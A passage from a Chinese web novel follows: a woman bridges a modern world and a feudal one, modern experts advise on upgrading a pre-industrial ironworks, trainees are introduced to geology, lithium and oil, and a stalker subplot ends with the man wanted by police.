袁淼挣脱不开,魂飞魄散,幸好下一刻徐清阳被人抓住了西装提将了开来,丢到了一边。 袁淼腿脚都有些发软了,这里距离宋家道场太近,她叫住了提着拳头的张青云,上了车后,过了好一会儿,她才回过神来。 “报警吧!”她对张青云说。 查了这么天,他们虽然没有掌握徐清阳犯罪的确凿证据,但是先前的跟踪,家暴,以及一些零零散散的其他发现,也许警方能够从这些里面找出不一样的东西。 徐清阳已经疯了,他这次能不管不顾对她用强,下一次说不定还会有更过激的行为。 从警局出来,时间已经不早了,回到家后袁淼打起了精神,谢云溪正在准备前往沔州观看那边冶铁工坊的事宜,她不能让她担心。 坐到镜子跟前后,袁淼已经平静了下来。 母女俩人合计了很久。 到了出发的这天,谢云溪等人天没亮就动身了,到达沔州的时候,已经是下午。 负责沔州府衙事务的钱大人已经得到了消息,早早就在冶铁工坊门口等着了。 因为张时文来信特别交待过,袁夫人此行机密。钱大人换了一身便服,并且在冶铁工坊内也做了一些安排,这日当值的都是精挑细选出来的人。 谢云溪这天带上帷帽,身边只跟了贺天凤和叶淑婉。 见过礼,谢云溪就在钱大人等人的陪同下进了冶铁工坊,一进去她就感觉一股热浪迎面扑来。 即便事先做过功课,但看到四下零散的作业时,谢云溪仍然吃了一惊。 看过了袁淼传过来的现代化冶炼工厂的视频,再看到眼前这一幕,谢云溪受到的冲击不小。 两个世界的冶炼工厂天差地别。 一个是近乎全自动化场景,除了大型设备,工人寥寥无几。一个热火朝天,到处都是挥汗如雨的工人。 完全没有一点相似的场景居然在做同样的事情。 谢云溪心里震动。边看边问。工坊的管事和工头跟着他们旁边,恭敬回答。 摄像头就安装在谢云溪帷帽上,周边做了掩饰,乍一看去就像朵绣花,从他们下车就开始在拍摄了。 从冶铁工坊出来,谢云溪出了一身汗,借着擦汗的动作,她摸了摸帷帽上的摄像头。 很好,东西仍在。 这天,他们并没有往回赶。晚上就歇在了沔州府衙。 收拾好后,谢云溪取下了帷帽上面的摄像头。拍摄的视频很清晰。她传给了袁淼。 袁淼松了一口气,连忙问沔州府衙的情况。 第145章 交流 谢云溪知道袁淼是在担心自己的安危, 笑着说:“挺好的,沔州虽不如郴州大,但也是北地重要城市, 沔州府衙后院的格局……跟郴州差不多。这里负责的钱大人也是晋州过来的。” 袁淼对晋州的人也有好感。去年晋州被北凉围困了几个月, 能坚持下来的人骨子里的东西就与其他人不一样。她感觉他们对父母特别信任和崇拜。 “还是不能大意!明天你们还去冶铁工坊吗?什么时候动身回去?” “工坊……就不去了。”谢云溪说。 她今天去过, 虽然对如何改进和提升冶铁技术并没有头绪, 但是视频已经拍下工坊内所有作业的场景。她想回溯,随时都可以, 不用再去现场了。 不过,去年以前他们在沔州住了不短的时间, 这里的宅院袁博文虽然已经收回来了, 东西也基本上没有丢失。但她还是想过去看一看。 袁淼立刻否决了谢云溪的想法:“千万别去!妈, 你这一趟出门, 原本知道的人就很少。但是你去了以前住的地方, 很有可能会被人认出来!如果这件事情传开了,你们回去的路上就很危险了。” “我知道。”谢云溪点头, 心里遗憾,但是现在确实不能节外生枝。 这次出门,她也格外小心。一起过来除了府里的护卫还有威远镖局的贺威等人。 “你看看视频,有没有哪里不清楚?行不行?” 如果不行,她可以明天再去一趟。 拍下来的视频是准备要给现代的冶铁行业的专家看的, 她们想得到专家的意见和建议, 视频就不能马虎。 袁淼仔细看了一遍:“应该没问题。” 视频的清晰度没问题,拍摄的过程也很流畅,唯一让袁淼有些犹豫是视频里面的人物。 挥汗如雨的工人大多都穿着单衣和短褂,头发简单束着。谢云溪身边的人则是五花八门,时代的特征很明显。 不过, 这些问题不大,p图并不是一件多难的事情。 “那就好,你早点休息。” 跟谢云溪说完话,袁淼就动手把视频调整了一番。第二天她联系了叶家振。 叶家振的声音透着高兴。 “……视频拍好了?好好好,你发给我吧。” “小袁,上次的学习资料,你爸妈都看过了吗?怎么样?” 这件事情顾军平虽然跟叶家振反馈过,但他心里仍然悬着。干系太大了。如果有可能,他恨不得立马派人过去勘察异世界的资源情况。可惜不行,所有的一切只能通过袁淼和袁博文夫妇。 “正在看,我爸妈说很好。”袁淼低着头说。 实际上上次传过去的地质勘察方面资料只有谢云溪在看。府衙的人才选拨正在进行中,她要开始学习之前把这些资料核查一边,再找人誊抄。 “好好好,有什么问题,你们要及时跟我们反馈啊。” “会的。” 叶家振又说:“你爸妈那边冶铁技术改进的事情,你们先别着急,我找人先看看具体情况。” “好的,谢谢叶部长。” 跟袁淼说完话,叶家振就打开了视频,只一眼他就被吸引了。他虽然是资源矿产管理部的领导,但也在基层锻炼过多年,对冶炼等相当熟悉。 视频里的这些比书本上更直观更震撼,完全是历史再现。 袁淼接到电话时,已经是第三天了。还没有开始通话,她就有些紧张了。 这几天,她跟谢云溪因为冶铁技术改进的事情多次商量,但两人都没有经验,偏这件事情又不能做实验,两人都很头秃。 “小袁,你发过来的视频,我们看过了,很清楚,对我们研究冶炼工艺的发展历史很有帮忙!” 袁淼一阵暴汗。研究历史,父母那边倒是一个活标本。 “针对你们想改进冶铁工坊技术的事情,我们也研究过了,联系了几个这方面的专家,明天上午在泰安酒店举行交流会。你明天有没有时间?有时间的话,就过来看看吧。” 袁淼大喜:“有!好的!谢谢叶部长!” 她询问具体地方。 叶家振笑着说:“就在顶楼会议室。” 袁淼非常感动。改进和提升父母那边冶铁工坊技术的事情对资源矿产管理部并无好处,但叶部长等人仍然热心帮忙,她也知道这里面有长久的考量,但是好处他们实实在在得到了。 “我明天一定会到!” “好好好!明天我们见面再说。” 挂了电话,袁淼的心情久久没有平复。这天晚上,她就把事情告诉谢云溪。 谢云溪也很激动:“太好了!” 专家出面,可比她们两个这方面的白丁要管用多了。 “叶部长他们又帮了我们一次大忙……你明天不要空手去!” 袁淼愣了愣。 不空手去?难道是……但上次珠宝店开张,她送出酬宾谢礼,陈秘书长和王所长等人就流露出不能收的表情,还是她刻意说明后,他们才收下来。 谢云溪连忙说:“我不是让你犯错误!是这件事情叶部长他们帮我们牵了头,我们不能总麻烦他们。技术的提升和改进从来不是一蹴而就的事情,我们都没有这方面经验,以后少不了要向这方面的专家学习和请教……” 袁淼恍然大悟,这次交流会是叶部长等人帮忙牵头,但是她们不能事事都仰仗上面帮忙,能认识这方面的专家,并且与他们打好关系很重要。 “我明白了!” 谢云溪笑了。 袁淼又说:“张大人那边选拨学员的事情,怎么样了?” “我明天去看看。应该差不多了。” 叶部长等人又帮了她们一次,先不说结果,这份心就很难得,这样的交流会不是一般人能组织的起来。 不说投桃报李吧,至少他们也要在叶部长等人想要做成的事情多上点心。 “淮安呢?” 谢云溪转过头往床上看了一眼:“他自己在玩呢!” 袁淼要了一张袁淮安的照片,又要了今天的监控视频,若无其事:“这两天庄静和关景钰没过来吧?” 谢云溪笑着说:“没有!关夫人和景钰也有自己的事,怎么会隔三差五就过来?” 自他们回来的次日庄静等人探望过后,后来关景钰和关景澜又上了一次门,但是是来找叶淑婉的。 她既然知道了岭南关家的心思,自然不会没事找事往前头凑。让念荟找了个理由,把想要过来请安的两个人打发了,连面都没有见。 后来,关景澜也再没有上过门了。 袁淼并没有放松警惕,晚上睡觉前把监控视频仔细看了一遍。 第二天,袁淼提前到了会场,会议室陆续有人进来,可她一个人都不认识。快九点时,叶家振出现了。袁淼连忙过去。 叶家振看到了她,笑着招呼她过来:“小袁!”又转头和煦问:“什么时候到的?” “刚到一会儿。”袁淼笑着回答。看到原本坐下的专家们都站了起来,有几个人大概是好奇,仔细打量她几眼。 “小袁!”跟在叶家振旁边的沙总也冲袁淼笑着打了个招呼。 叶家振等人径直往会场前排走,袁淼自己就是博云矿业的董事长,知道这样的会议座位的安排都有规矩,她一个过来学习的人自然不能坐到重要的位置上去。 她留在了后面。但刚坐下来,就有人过来了,低声请她到前面去。 袁淼愣了愣。 坐在前排的叶家振也回过头来笑着招手。袁淼不再犹豫了,来到前面后,在叶家振的旁边坐了下来。 会议还没有开始,叶家振低声说:“一会儿你有什么问题,大胆提出来!” 袁淼点头。 主持人上台了,致辞欢迎了今天到会各位专家,简单说了一下现阶段冶炼技术情况,又请大家看屏幕。 屏幕上的文包打开,正是袁淼传给叶家振的视频。才播放一会儿,袁淼就察觉到后面的声浪起来了。好多人在窃窃私语。 “这视频是真的还是假的?” “不像是ai合成!你们看那炉火!如果是ai合成,绝对做不到这么逼真!” “这……这是在哪里拍摄?完全是还原了历史啊!这么落后的锻造水平,几乎都是手工操作,这连唐宋时期的冶铁水平都达不到吧?” “达不到!你们看,他们用的燃料还是木炭!唐宋时期的钢铁冶炼主要燃料已经是煤炭了!” 袁淼听着这些言论,捡了些自己觉得有用的记了下来。 视频看完了,会场的声浪并没有安静下来,直到主持人上台。 “大家不用怀疑视频的真实性!”支持人笑着说。 会场上的笑声也起来了。 主持人又说:“今天,我们探讨的主题是如果各位处于视频中的环境,如何提升和改进当下的冶炼技术?” 会场一片寂静,许多人面面相觑。 接到通知时,专家们就知道了这次交流会的主题,是改进和提升当下冶炼技术。 但他们没想到这个当下并不是指现在的钢铁冶炼现状,而是视频中的场景。 那些是什么?全手工作业?原始?落后? 改进这些?为什么? 许多人想远了。叶家振老神在在坐着。一会后就有人说话了。 主持人笑着点道:“吴总既是乾龙钢厂的老总,也是冶铁技术方面的专家,您有什么看法?” 被点到的人虽然头发斑白,但精神抖擞:“我不知道你们这个视频是在哪里拍摄的,但是技术太落后了,如果要提升和改进,首先应该从炉子开始,视频中的高炉虽然有了,但是……” 袁淼连忙打开了手机的录音。她知道现代钢铁工业的基础就是高炉、平炉、转炉,但具体情况并不清楚,现在有人连说带比划,这完全是为她量身定做。 吴总说完后,坐了下来,声浪就起来了。 这次主持人点了袁淼后面坐着的一位专家,这位专家提出了燃料的问题。 视频中冶铁工坊使用的燃烧材料是木炭,木炭的燃烧值较低大概只有300-400度左右。煤炭的燃烧值可以达到700-1000度左右。 现在高炉常用的焦炭燃点比煤炭还高,发热量更大,也耐烧。 高炉炼铁的品质与燃烧值的关系很大,煤炭和焦炭比木炭更合适。 袁淼身后的专家发言后,会场就热闹了起来,又有几个专家提出了他们的意见和建议。 袁淼都记录了下来。 中场休息,袁淼低声小心翼翼说:“叶部长,刚才听了几位专家的发言,我受益匪浅。今天到会的专家们都辛苦了,我给他们准备了一份小礼物,您看看,合不合适?” 叶家振看了一眼,呵呵笑了笑。 袁淼连忙又说说:“这件事情是您帮忙牵的头,以后我们有什么问题,少不了要向专家们咨询……” 她的话还没有说完,叶家振就笑着点头了。 一份见面礼而已,他能理解袁淼想结识这些专家的心情。她和袁博文夫妇都不精通这些。隔行如隔山。这次的目的,原本就是给他们牵线搭桥。 袁淼松了一口气,站起身后,给了候在后面的沈若君一个眼色。 沈若君会意,立刻让人把礼物拿了过来。在发放的礼物的时候,她顺便记下专家们的联系方式。 下半场的交流会,气氛就更活跃了。袁淼也提了几个自己想了许久都没有想通的问题。 专家们也知道了她的身份。博云矿业的董事长!年纪轻轻,前途无量! 对于她的提问,专家们说出了自己的看法。 交流会结束后,袁淼送走了叶家振等人,心情豁然开朗。 回到家后,她就迫不及待把这天的事情告诉了谢云溪。 谢云溪听完,眼睛也亮了起来:“炉子的改造不难,但是焦炭……” 她摇了摇头。这里的煤炭都没有普及使用,更别说焦炭了。 袁淼说:“这个不难,焦炭可以暂时在现代购买,等你们那边煤炭的开采量上去之后,再用煤炭烧制焦炭。” 谢云溪想了想点头。 高炉等的结构图袁淼也拿到了。她传给了谢云溪。 过了几天,谢云溪就找到了张时文。 “张大人,这是高炉结构图,是我参考海外冶铁工厂所见绘制的,与沔州那边冶铁工坊的高炉有些不同……” 张时文在知道谢云溪要去沔州视察冶铁工坊的时候,就猜到她许是对那里的冶铁工坊有些想法,原本就期待着。 接过图纸后,张时文看了一会。可惜他并精通这个。但这并没有使他的期待值下降半点。 他知道袁大人和袁夫人一同去的海外,他们带回来的那些东西属实惊奇,没有一件是废物。且不说神器营的那些了。就如今郴州城周边地里种下的甘薯和玉米就解决了如今北地的燃眉之急。 四月种下的玉米和甘薯虽然还没有到收获的季节,但是已经看到了预期。 地里的这两种农作物长势很好。玉米已经结苞,剥开后露出的玉米虽然颗粒还小,但已经可以食用,甜津津,连芯都是甜的。 地里甘薯一根底下结了许多果子,拔出来后足有七八个,个个都比冬日胡萝卜还要大了。听说长熟后能拳头大小。这样的果子,成人吃一个就能饱肚子了。 贺州沔州那边许多人都过来看了,他们当初都没有赶上这一波种植,许多地都空着,有些勤奋的种了些菜,但菜毕竟不能当主食。而赶上的粟米小麦种植还要等好几个月,种下去后等到收获又是大半年的时间。 青黄不接,这期间吃什么成了北地许多老百姓最焦虑的事情。 但是郴州这边不用愁了,地里的指望已经有了,实在饿肚子,现在就可以吃。不过,他已经劝解农户们千万要忍,只需再熬上一二个月,地里的收获还可以翻上一番。 第146章 憧憬 想到地里的事儿, 张时文心里就唏嘘,要不是当初听了袁夫人的劝,郴州晋州现在的光景肯定不会有这么好。 现在的北地满目疮痍, 只有他们这里看到了光明。 眼下, 几乎整个北地的流民都在往这边涌过来。 这也使得郴州周边的农户们分外紧张, 玉米和甘薯地里不分日夜都有人看守着。 谢云溪并不知道张时文的思绪已经飘远, 她指着图纸说出两种高炉的不同之处,“……我们去看的那座海外冶铁工厂, 就用的这种高炉,他们一年能产出万吨钢铁。” 张时文思绪一下子被拉回来了, 惊讶问道:“一年产出万吨钢铁?袁夫人, 你们去看的那座工坊有多大?” 他虽然不精通冶铁, 但也知道沔州冶铁工坊是大顺之最, 年产量最好的时候也不过万余吨。 谢云溪想了想。现代中等规模的钢铁厂, 一年的产量就有六十万吨到一百万吨之间。这里当然不能和现代相提并论。 但是这里的冶铁工坊改造了高炉后和燃料等后,产量翻一番应该是没问题的。 “差不多有沔州冶铁工坊一半大小吧。” 张时文惊呆了。 海外一座还不到沔州冶铁工坊一半规模的冶铁工厂就能达到差不多的产量? 属实惊人! 海外果然非同凡响!处处先进! 沔州冶铁工坊可是大顺之最, 又有地缘优势,竟然远远不如海外!难怪海外能有那么多新奇东西了,光一个冶铁就远胜过了他们这里。 张时文丝毫没有怀疑谢云溪话里的真假,先前袁博文和谢云溪拿出的那些东西已经让他对海外憧憬无比了。 “不过,他们冶铁使用的燃料并不是木炭, 而是煤炭, 煤炭的热度更高,冶炼出来的铁也更加精炼。” 张时文愣住:“煤炭?” 谢云溪点头:“对,他们那边的煤炭使用很是广泛,连寻常人家都在使用。” 张时文不由得皱了皱眉。 煤炭北地也有,但是价格不菲, 非一般人家能够承受。若是冶铁工坊用上了煤炭,那生铁的造价就不是现在的价了。 产量与造价上涨,二选一,这就要好好衡量了。 谢云溪过来之前就想过这个问题了。她最终没有采取袁淼建议,说出焦炭。焦炭是煤炭之后的事情。步子一次不能跨太大。这件事情的主导还是这里的人们。步子迈太大了,这里的人们不一定能接受。 在现有的基础一步步推进和解决,才最稳妥。 “北地也有煤炭吧?” 张时文点头,依旧皱着眉头:“有是有!不过在林州……” 谢云溪明白了。林州现在并不在他们手上。 “先改造高炉吧,即便是使用木炭,用这种高炉,生铁的产量也能上去。” 张时文这才惊觉自己进了死胡同。煤炭不足,用回木炭就行,产量即便是提升不大,那也是提升。 他竟然不如一个女人灵活了,这么简单的问题,都想不过来。 张时文拱手应下:“袁夫人说的是。” 谢云溪又说:“我们也见过海外那边的煤炭开采……” 她的话还没有说完,张时文就惊愕抬起了头。 “他们有许多蒸汽机,不知道这里的煤炭是如何开采的?” “实不相瞒,我也没见过。”张时文如实回答, 不过,他知道采煤是件极其艰辛的事情,这也导致煤炭的价钱居高不下。至于蒸汽机,他从未听说。 海外那边处处先进,煤炭既然已经广泛使用,那开采量自然是远胜这边了。蒸汽机肯定也是好东西。 袁夫人都能拿出高炉结构图了,肯定记得海外那边是如何采煤的。 只要袁大人拿下了林州,煤炭的问题一定能够解决。 若沔州的钢铁产量能够上去,北地这里的情况一定会因此大有改观。 如今的生铁可不便宜,南边北边到处都在打,消耗最大的除了粮草,就是生铁了。 张时文心里平静不下来了,冲谢云溪作揖后,说道:“我这就让人去一趟沔州!” 改造高炉的事情攸关民生,刻不容缓。 “张大人且慢!”谢云溪叫住了张时文,又拿出了一些资料和图纸,“除了高炉,海外那边的冶铁布局与沔州也有些区别……” 张时文有些羞愧:“夫人,我并不精通冶炼,您刚才所说,我不甚了解。要不,让沔州府衙钱大人过来一趟吧,这些他比我精通!” 谢云溪笑了。她也是摸索了许久,才知道了一些皮毛。太明白门外汉乍听这些时的茫然了。 “辛苦张大人了!除了钱大人,沔州冶铁工坊的管事和工头,也一并请他们过来一趟吧。” 她这次拿出来的方案不仅涉及冶铁工坊的改造,还有厂区的建设。冶炼工坊将来有一段时间会用到煤炭,这对环境有影响,产业必须要距离居民聚集有一定距离。 张时文应下了。 谢云溪把手中的资料和图纸交给了张时文。 张时文心里对谢云溪又佩服了几分。寻常女流之辈,皆困与闺阁之中,袁夫人不仅医术了得,还精通农事和冶铁等,属实令人佩服。 “张大人,地质资源勘察的学员选拨出来了吗?” “已经选出来了。”张时文连忙拿出了名单,“一共二十二人,这是名单。” 谢云溪接过后看了看,名册上的记录很详细,除了姓名年冠家庭住址,还有家庭情况。 她知道袁博文在临走之前刻意跟张时文交待过,这批人他有大用处,除了会断文识字以外,还要对地质地理等有相当的兴趣。所以选拨的时间也长,只看名册上记录的内容,就知道张时文在这件事情上用了心。 首批地质资源勘察学员贵精不贵多。 “人现在在哪里?” 张时文又引着谢云溪来到了府衙旁边的一个院子里。绕过了影壁,就看到偌大院中摆放着二十来张小桌。但桌子后面并没有坐多少人,倒是不远处的亭子里有个清瘦的中年男子正在讲话,旁边围着不少人。 张时文正要过去,谢云溪示意他且慢。中年男子正在讲一些见闻,围在他身边学员们年纪大小不等,听得津津有味。 直到他讲完一段后,谢云溪这才冲张时文微微颔首。张时文轻咳了一声,原本有些喧闹院子里一下子安静了。 许多人都过来行礼了,亭子里中年男子也过来了,冲张时文行礼过后说道:“张大人,你把我们这些人聚集起来,说是要教导一些地质勘察方面的学问,什么时候开始?再不开始,我要回去了,我还有要事。” “胡先生稍安勿躁!讲学不日就会开始,这位是袁夫人,她特来看望大家!” 北地的男女大防虽不如南边严苛,但院子里的人听了张时文的介绍后许多纷纷低下了头去。 谢云溪虽然看不到这些人表情,但知道他们当中肯定有不少人正在腹诽自己。 “见过袁夫人!”胡耀生有些混不吝,“许久没见袁大人了,不知道他最近在忙什么?” 谢云溪笑着说:“自然是有要事。上次的锂矿石多谢胡先生了。” 胡耀生摆手:“我听袁大人说那块石头里面提炼出来的锂,可以入药,还能治疗神志不清的病患,真有这事吗?” “自然是真的!” 胡耀生来了兴趣:“夫人知道如何提炼锂吗?” 张时文还是头一次听到这个,也竖起了耳朵。 谢云溪依旧笑着:“当然知道。” “袁夫人能跟我们讲一讲吗?” 谢云溪摇头:“这事不方便外泄。” 胡耀生丝毫没有退却:“这锂到底是什么东西?除了入药,还有其他作用吗?” 这个问题袁博文并没有跟谢云溪对过口风。谢云溪想着以后还有依靠这些人多多出力寻找各种资源,这些人的身份也都经过了调查。有些事情他们迟早要知道,马上要下发的学习资料上就有这个问题的答案。 “还能用在电池、合金制造、冶金等诸多方面。”谢云溪选了不那么超期的几个答案。 可即便是这几个答案,也让在场的人都懵了。 “什么是电池?”胡耀生追着问道。 张时文突然想到了自己手中的对讲机,背后那两个小个东西不就是电池吗?原来与这个锂有关吗? 对讲机到他手上后,用处实在太大了,省去许多路上的时间。他属实好奇,但是当初拿到手的时候,袁大人就交待过,不要弄坏了。他心里虽然十分好奇,但也没敢大动干戈。就把那外壳拆下来看了看。里面的东西一个都不认识。 谢云溪想了想。不出意外,电,他们以后是肯定要弄出来,这与以后发展息息相关。 “电池是一种将存储的化学能转化成电能的装置。” “什么化学能?” “什么是电能?” “合金制造是什么?” 张时文连忙拦住越围越近的人。明明刚才院子没多少人,这会像是一下子都出来了。他吓得冒出了冷汗。 前不久袁夫人遭遇意外,袁大人不顾一切赶了回来。他可不想再出一次类似的事情。院子里的这些人虽然都经过了调查,但哪怕是小小的冲撞,他都承受不住。 谢云溪也有些囧,这些问题的答案她虽然心里有数,但一时半会也不知道如何用语言表述出来。 “这些的问题,都在各位即将要学习的书中。” 院子里嘈杂稍微安静了些。胡耀生又问:“袁大人乘坐的铁车是不是也用上一种能?” 胡耀生的问题一出,院子里瞬间安静了下来。从郴州到晋州的班车依旧在运营,依旧一票难求,许多人都对铁车为什么会动非常好奇,可惜这是神器营的东西,只有到时间才会出现,连打听都受到了限制。 谢云溪看着院子里的这些人。石油和煤炭是工业发展两大不可或缺的能源,煤炭已经出现,但是石油没有。它的发现很有可能就落在这些人身上。 “是的,准确说它应该叫能源。” 胡耀生一双眼睛已经灼灼发亮:“什么能源?怎么造出来的?” 谢云溪笑着说:“这种能源不是制造出来的,而是存在于地下,它叫石油,需要开采和提炼之后再使用。” 胡耀生的脸已经激动的发红了。石油!这么厉害的东西,他居然以前听都没有听说过。 “石油是什么样的?开采和提炼的方法与金矿铁矿一样吗?” 张时文也十分好奇,这也是他心里埋了许久的问题。 谢云溪笑着说:“这些问题也在各位即将要学习的书中。我的回答不一定准确。” 胡耀生还要问,张时文连忙拦住了他。谢云溪也不想再被追问了,她离开学校已经有很多年了,许多东西已经还给了老师。 但她转身后,仍然听到胡耀生高声问道:“袁夫人,除了锂和石油,地下是不是还有很多其他能源?” 这个问题简单,但谢云溪觉得自己要是停下脚步,一时半会肯定走不了。张时文选出来的这些人确实有不少是个中发烧友,说到这些眼睛都亮了,规矩也不讲了。 张时文安抚了院中的学员们后,追上了谢云溪。 “袁夫人,这些人对地理地质都有些痴迷,失礼之处,还请见谅。” 谢云溪笑着说:“无妨!” 他们要选出来的就是这样的人,地质勘察是一件枯燥的事情,没有的兴趣,很难在这条路上走远。 张时文讪讪笑着:“袁夫人,您知道的这些也是来自海外吗?除了锂和石油,地下是不是还有很多有用的东西?” 谢云溪点头:“我们现在的发现不到九牛一毛,地下的奥秘还有很多不为人知。袁大人组建这个学习班就是为了探究这些。” 张时文赞了袁博文一句。 谢云溪又说:“这些能源的秘密非同小可,胡先生等人现在虽然少有人知,但一旦他们学有所成,极有可能会被人盯上。张大人还需未雨绸缪,保护好胡先生等人。” 她可不想辛苦培养出来的人才被挖了去,为他人做嫁衣。组建的这个学习班,前期主要是学习理论知识,但到后面就要掌握各种现代化勘察测绘方面的工具。这些绝对是这个世界超期的东西。 “袁夫人放心!府衙一定会注意。” 张时文也意识到问题的严重性了。别的不说,光石油的奥秘就不能让外面的人知道。 袁淼知道谢云溪这天要行动,早早就等在镜子跟前了。 “怎么样?张时文怎么说?他赞同我们提出的改进方案吗?” “他并不精通这个。不过,我看得出他已经心动,我把改进的方案和图纸都给了他,他已经派人前往沔州了,过几天沔州那边就会来人了。” 袁淼默默点头。提升和改进一项技术果然不是一蹴而就的事情。 “你放心吧,沔州那边不会拒绝我们提出的改进方案。”谢云溪笑着说。 这个她有把握,这里跟现代不一样,王权统治下的世界,上级拥有绝对的权威。袁博文和她虽然对下面的人并不严苛,但辖下的各级官员对他们不说唯命是从,那也差不多了。 虽然,她提出的方案涉及较广,先在现有的基础上改进高炉和燃烧材料等,同时在沔州城外圈地建厂,厂区建成后,城内的冶铁工坊全部迁移到厂区。 这个动作有点大,但一旦做好,绝对会是整个地区数一数二的存在,会引领工业化潮流,对后续冶炼行业的继续改进发展也有好处。 对沔州以及周边的发展也有非常积极的影响。大型厂区的建成,首先会促进就业,拉动当地的经济。 其次冶炼行业的发展也会辐射到其他行业,军事、道路、桥梁等都会受到影响,接下来的工业发展的脚步也会因此加快。 第147章 通缉 袁淼也知道谢云溪的想法。钢铁厂的方案是她们一起商量的。只有推进工业化进展, 北地才能在经济上赶超周边。 经济是基础,经济上来了,才有资本加强军事实力。 现在他们是虚的, 依靠的是从现代世界购买的物资, 这不能长久。只有自己发展起来了, 才有底气。 这次的方案也把后续的持续发展考虑在内了。钢铁厂的扩建, 高炉的改造只是第一步,后面还有转炉平炉等的使用。地方如果不大, 这些都施展不开。 袁淼跟谢云溪说完话就睡下了。大概是睡前讨论了钢铁厂的事情,没一会儿, 她就做起梦来, 来到了一个像是厂区的地方, 举目都是铁, 还有不知道哪里冒出的蒸汽。 梦中的她有些茫然, 眼前的一切与她设想的钢铁厂不一样。 她心里疑惑,转过身, 突然被一张脸吓了一跳。 躺在床上的袁淼也睁开了眼睛。她刚才看到的是徐清阳,不过是学生时期的他。一张笑脸灿烂无比,眼睛亮晶晶的。 梦里的场景也不是什么钢铁厂,而是徐清阳的父亲工作的化工厂。 袁淼出了一身冷汗,起身倒了一杯水喝。 上次的报警至今都没有结果, 为了不影响警方调查, 她已经让张青云回来了。 次日晨起,袁淼被闹钟叫醒,原来还想赖一会床,手机的短信息又来了。她知道是宋颜,前几天他们约了一起晨跑。 袁淼打起精神, 收拾好后出门,果然在院子门口看到正在热身的宋颜。 两人一起跑了步,回来的时候,袁淼看到一辆警车正停在自家门口。 她的脑袋有片刻放空,但很快镇静下来了。 “袁小姐!” 下车的刘警员正是上次接待他们报案的人。 袁淼连忙笑着对宋颜说:“今日的早餐先欠着,下次我请。” 她过去跟刘警员握手,又挥手跟宋颜再见,没有去看他脸上的表情。 领着刘警员等人进到客厅后,佣人上了茶水。 “袁小姐,你上次的报警我们核查过了,徐清阳不仅涉嫌家暴、伤害他人,还与曾辉华的死有关。但我们的抓捕行动失败了,目前徐清阳在逃,如果你有其他线索,请及时和我们联系。” 袁淼心里惊愕,连忙点头。 刘警员顿了顿又说:“袁小姐,徐清阳现在非常危险,不要和他单独接触。” 袁淼点头,警方既然已经查清楚周晟和和杜彦明被打的事情,自然也知道了她和徐清阳的关系。 “好!我知道的!” 送走了刘警员等人,袁淼连忙喝了一大口冰水。 冰凉入喉,她纷乱的心绪依旧难以平复。 周晟和杜彦明的事情果然是徐清阳做的!他还与曾辉华的死有关! 曾辉华是他杀的吗? 警察虽然说的语焉不详,但是他们既然已经动手抓人,那这事即便不是徐清阳亲自做的,他也绝对是重要的参与者。 从前他说他和曾嘉宝在一起是因为曾嘉宝有钱。光靠他和她,哪怕奋斗一辈子,他们也不可能在魔都立足。但曾嘉宝可以让他们实现这个愿望。他让她等他。 她觉得荒谬,不可思议,断然离开。 原来,他说的是真的。这些年,他一直都在朝着这个目标努力。他娶了曾嘉宝,杀了曾辉华,成了辉华矿业实际上的控制人。 现在,一切暴露了,他成了通缉犯。 而她,是报警的那个人。 袁淼心里发寒,摸了摸胳膊,想到了视频中扇在曾嘉宝脸上的巴掌。 徐清阳利用了曾嘉宝,就因为曾嘉宝性格娇纵,还不等事成,他就对曾嘉宝动手。 如果徐清阳知道是她报的警……… 他不会放过她的。 * 袁博文离开郴州近一个月后,终于有消息了。他突袭拿下了湖州。几天后,又传来了商州被拿下的消息。 如今,边疆重城皖州已经被两路人马夹击,郴州城内许多人都在传,皖州已经囊中之物,要不了多久就会被拿下。 袁府处处洋溢着喜悦的气氛。 谢云溪的心情也不错,前不久沔州府衙的钱大人和冶铁工坊的管事以及工头们都过来了,她与他们见了面。定下来的高炉改造和厂区建设的事情。 听到张时文来访时,谢云溪第一个就想到了培训班的事情。 地质勘察第一期培训班已经开始了,她已经把学习资料送了过去。 “张大人!”谢云溪见过礼后,询问张时文过来的目的。 张时文眉宇间有缕忧色,看了看谢云溪身边的人。 谢云溪会意,让其他人都出去后,就留下了贺天凤。 “袁夫人!”张时文拱手,“湖溪齐王府来人了!” 谢云溪愣了愣。她知道现如今的南边也乱成了一锅粥。霍云泽扶持霍贵妃所出的皇五子继承大宝后,湖溪的齐王府就举出清君侧正朝纲的大旗,短短几个月拿下了数城。 太子母家宣平侯府嫡次子杨宁逃出了京都后,在章西大营的支持下陆续拿下肃宁和章川。 海曲一带又了一个弥勒教起义,教众人数高达数万。 这些势力当中,湖溪齐王府的实力无疑最强。但是他们从来都没有与那边打过交待。 “来人是谁?张大人觉得他们此行的目的是什么?”谢云溪问。 张时文皱着眉头,不敢抬头,“来人是齐王身边的成墨涵,他是元启八年的榜眼……他们此番前来,带了不少礼物,应是拉拢。” 拉拢? 谢云溪想到了岭南关家那边过来的关三老爷和关景澜。这些天她原本以为关家那边会有些动静,但庄静一直都没有上门,关景钰和关景澜虽然过来了一趟,但她并没有见她们。 至于那位三老爷,南边男女大防严苛,袁博文不在府上。他虽然往府里递过帖子,但谢云溪并没有理会。 这个大概率是想通过联姻结盟。 现在他们才打开局面,想拉拢和想结盟都过来了。 一个是齐王身边的谋士,一个是岭南关家仅次家主的存在。 份量都不小。 谢云溪心里唏嘘。以前她可从来都没想过会有一天与这样的人打交道。 袁博文考上举人后,她想得最远的是他能捞个小文官当,日子过得去就行。现在袁博文成了香饽饽,不管是岭南关家的乘龙快婿,还是齐王麾下开疆拓土的大将,这些诱惑都不小。 既然是冲着袁博文而来的,怎么选择肯定是他说了算。 好在现在皖州那边的局势明朗了,袁博文的行踪也不是秘密了。 “这事非同小可,袁大人现在在湖州,如何抉择……还请张大人赶紧修书一封,送到湖州吧。” 张时文应下了,依旧一副忧心忡忡的样子。 谢云溪原本还想问一问学员班学习的情况,话到嘴边,又咽了下去。府衙的大人们现在肯定都在为齐王府来人的事情头疼。 齐王府送来的橄榄枝攸关他们的前程,确实含糊不得。 张时文走后,谢云溪就把这件事情丢开了。地里的棉花已经结苞,最多一个月就要组织人手采摘了。 这可是北地这里第一次种出棉花。现在枫叶巷那边织坊使用的棉花还是袁淼从现代买过来了。 他们在这里种出了棉花,棉布棉衣等的说法就不再是虚的了。棉纺厂的组建也可以开始了。 棉布现在已经在北地热销开了,几乎把麻布和葛布的市场取代了,绸布的市场也被挤缩了不少。 现在谢记布庄和谢记粮行齐头并进,收入仅次城外的金矿。 